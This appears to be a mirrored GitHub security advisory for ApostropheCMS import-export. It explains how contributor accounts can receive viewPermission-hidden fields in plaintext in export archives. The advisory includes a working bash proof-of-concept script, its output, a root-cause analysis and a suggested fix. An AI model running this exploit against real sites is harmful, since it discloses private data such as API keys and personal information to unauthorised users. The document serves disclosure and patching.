GHSA-P3M7-JJV4-357V
Information disclosure: `viewPermission`-gated fields are exported in plaintext in import-export archives
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P3M7-JJV4-357V divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 3.7.2 | @apostrophecms/import-export · 0 d desde divulgación | |
| Remediación | Parche 4.34.1 | apostrophe · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`@apostrophecms/import-export` writes documents into the export archive without removing fields the exporting user may not view. A user who can edit a document but does not satisfy a field's `viewPermission` receives that field's stored value in plaintext in `aposDocs.json` inside the downloaded tarball, while every REST response to the same user omits the field.
Both export routes are affected: `POST /api/v1/<piece-type>/import-export-export-batch` and `POST /api/v1/@apostrophecms/page/import-export-export-batch`. `_ids` is an array, so a single request discloses the field for every document the caller may edit.
`viewPermission` is the supported field-level control for hiding a field from lower roles: `allowedSchema` removes such fields from the caller's schema (`packages/apostrophe/modules/@apostrophecms/doc-type/index.js:620-645`), so the caller can neither read the field through REST nor write it. The 4.34.0 advisory batch removed `viewPermission` fields from REST read responses, REST write responses, related documents, embedded ancestors and children, and version change lists (`GHSA-vh56-5m88-39rq`), and its final commit states that the removal was made "once, in the shared REST API route wrapper". The export archive is not produced by that wrapper: the route returns a job id and the job writes the archive to uploadfs afterwards, so the field filter never runs on it.
Prerequisites
A doc type declaring a root field with `viewPermission`:
// modules/secret/index.js
module.exports = {
extend: '@apostrophecms/piece-type',
fields: {
add: {
adminNote: {
type: 'string',
viewPermission: { action: 'edit', type: '@apostrophecms/user' }
}
}
}
};`@apostrophecms/import-export` enabled; its routes are registered by default in a standard install. An account that can edit the document and does not satisfy the field's `viewPermission`; the `contributor` role is enough.
Impact
The stored value of any field the site classifies as unviewable for the caller is disclosed in machine-readable plaintext: API keys, internal notes, pricing, personal data. The prerequisite is edit permission on the document, which `contributor` holds for all content types by default. Because `_ids` is an array the disclosure is bulk, and the archive is a normal import archive, so the disclosed values can also be re-imported into a site the attacker controls.
`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` — 6.5 Medium. CWE-200, CWE-862.
Proof of concept
$ bash poc.sh
== 1. admin stores a value in a field the contributor may not view
_id=o6peqhbhkaw9vpj1ar4b6or1:en:published
== 2. every REST response to the contributor omits the field
GET /api/v1/secret/<id> -> adminNote=None
== 3. the contributor's export archive contains it
jobId=mx4bcjvpjnehwwwvi793p2v2
archive=http://127.0.0.1:8912/uploads/exports/apos-lab-secret-export-20261030124812-ta28f4in09i75il7xv05isu3.tar.gz
aposDocs.json -> adminNote='ADMIN-ONLY-FIELD-VALUE'`poc.sh`:
#!/usr/bin/env bash
# A contributor who may edit a document but may not view one of its fields
# receives that field in plaintext in an import-export archive, while every
# REST response to the same user omits it.
#
# Requires an app whose configuration declares a doc type with a
# viewPermission-gated root field, and the two owned API keys shown in the
# report's "Prerequisites" section.
set -u
BASE="${BASE:-http://127.0.0.1:8912}"
ADMIN="${ADMIN:-lab-admin-key}"
CONTRIB="${CONTRIB:-lab-contrib-key}"
TYPE="${TYPE:-secret}"
FIELD="${FIELD:-adminNote}"
SECRET="${SECRET:-ADMIN-ONLY-FIELD-VALUE}"
pick() { python3 -c 'import json,sys; d=json.load(sys.stdin); print(d[sys.argv[1]])' "$1"; }
field() { python3 -c 'import json,sys; d=json.load(sys.stdin); print(repr(d.get(sys.argv[1])))' "$1"; }
echo "== 1. admin stores a value in a field the contributor may not view"
ID=$(curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"title\":\"export probe\",\"published\":true,\"visibility\":\"public\",\"$FIELD\":\"$SECRET\"}" \
"$BASE/api/v1/$TYPE?apikey=$ADMIN" | pick _id)
echo "_id=$ID"
echo
echo "== 2. every REST response to the contributor omits the field"
echo -n "GET /api/v1/$TYPE/<id> -> $FIELD="
curl -s "$BASE/api/v1/$TYPE/$ID?apikey=$CONTRIB" | field "$FIELD"
echo
echo "== 3. the contributor's export archive contains it"
JOB=$(curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"_ids\":[\"$ID\"]}" \
"$BASE/api/v1/$TYPE/import-export-export-batch?apikey=$CONTRIB" | pick jobId)
echo "jobId=$JOB"
for _ in 1 2 3 4 5 6 7 8 9 10; do
URL=$(curl -s "$BASE/api/v1/@apostrophecms/job/$JOB?apikey=$CONTRIB" \
| python3 -c 'import json,sys; d=json.load(sys.stdin); print((d.get("results") or {}).get("url",""))')
[ -n "$URL" ] && break
sleep 1
done
echo "archive=$URL"
echo -n "aposDocs.json -> $FIELD="
curl -s "$URL" | tar -xzO aposDocs.json \
| python3 -c 'import json,sys; d=json.load(sys.stdin); print(repr(d[0].get(sys.argv[1])))' "$FIELD"sha256 of the script above: `58dce3f6de95b0d1d8418c587ecf8c3cb768e65d691b0af1f4513960d48ee0e2` (1992 bytes).
The page route behaves identically:
== page type: contributor GET omits the field
GET /api/v1/@apostrophecms/page/hsn18o3d96ds65n80heh4b71:en:published -> adminNote=None
== page type: contributor export archive
archive=http://127.0.0.1:8912/uploads/exports/apos-lab-pages-export-20261030124819-qpgxajw9dbwm0ywt5lk6znb7.tar.gz
aposDocs.json -> adminNote='PAGE-ADMIN-ONLY-VALUE'Root cause
- `export()` (`packages/import-export/lib/methods/export.js:12-53`) takes the documents from `getDocs` and writes them, cloned, into the archive.
- `getDocs` (`packages/import-export/lib/methods/export.js:131-184`) fetches with `manager.findForEditing(...)`, which applies the edit permission (`packages/apostrophe/modules/@apostrophecms/doc-type/index.js:863-871`), and returns the raw documents. The only filter is `canExport` (`:183`), and that is type-level: `canImportOrExport` (`packages/import-export/lib/methods/index.js:56-70`) calls `apos.permission.can(req, 'view', docType)`. No field-level removal happens anywhere on this path.
- The REST field filter (`removeForbiddenFieldsDeep`, `packages/apostrophe/modules/@apostrophecms/doc/index.js:1390`, applied by the `apiRoutes` wrapper at `packages/apostrophe/modules/@apostrophecms/module/index.js:196`) runs on the HTTP response body, which for this route is only `{ jobId }`. The archive is written by the job after the response.
- Every registered format receives the same documents: `exportFile` calls `format.output(filepath, data)` with `data.docs` taken from `getDocs` (`packages/import-export/lib/methods/export.js:494`), so the xlsx format registered by `@apostrophecms/import-export-xlsx` (`lib/xlsx.js:22-25`) writes the same field to its sheet.
- Related documents pushed into the archive by `handleRelatedField` (`packages/import-export/lib/methods/export.js:283-303`) are fetched with the type-level `permission('view')` only and are pushed into the archive whole.
Suggested fix
Filter before writing, with the call the REST wrapper already uses: apply `apos.doc.removeForbiddenFieldsDeep(req, doc)` in `getDocs` to the results of both finds, and to each document pushed into `storedData` by `handleRelatedField`. Add a test alongside `packages/apostrophe/test/rest-get-one-view-permissions.js` that exports a document carrying a `viewPermission` field as a user below that permission and asserts the field is absent from `aposDocs.json`.
Affected versions
`@apostrophecms/import-export <= 3.7.1`. 3.7.1 is the version installed by `apostrophe@4.34.0` and is the current npm `latest`. The unfiltered path is present at repository HEAD `ba1c4b932` (2026-10-30), and `packages/import-export/test/` contains no test mentioning `viewPermission`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@apostrophecms/import-export |
Corregida | 3.7.2 | 0 d | 3.7.2 no afectada |
npmapostrophe |
Corregida | 4.34.1 | 0 d | 4.34.1 no afectada |
3.7.24.34.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-p3m7-jjv4-357vLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
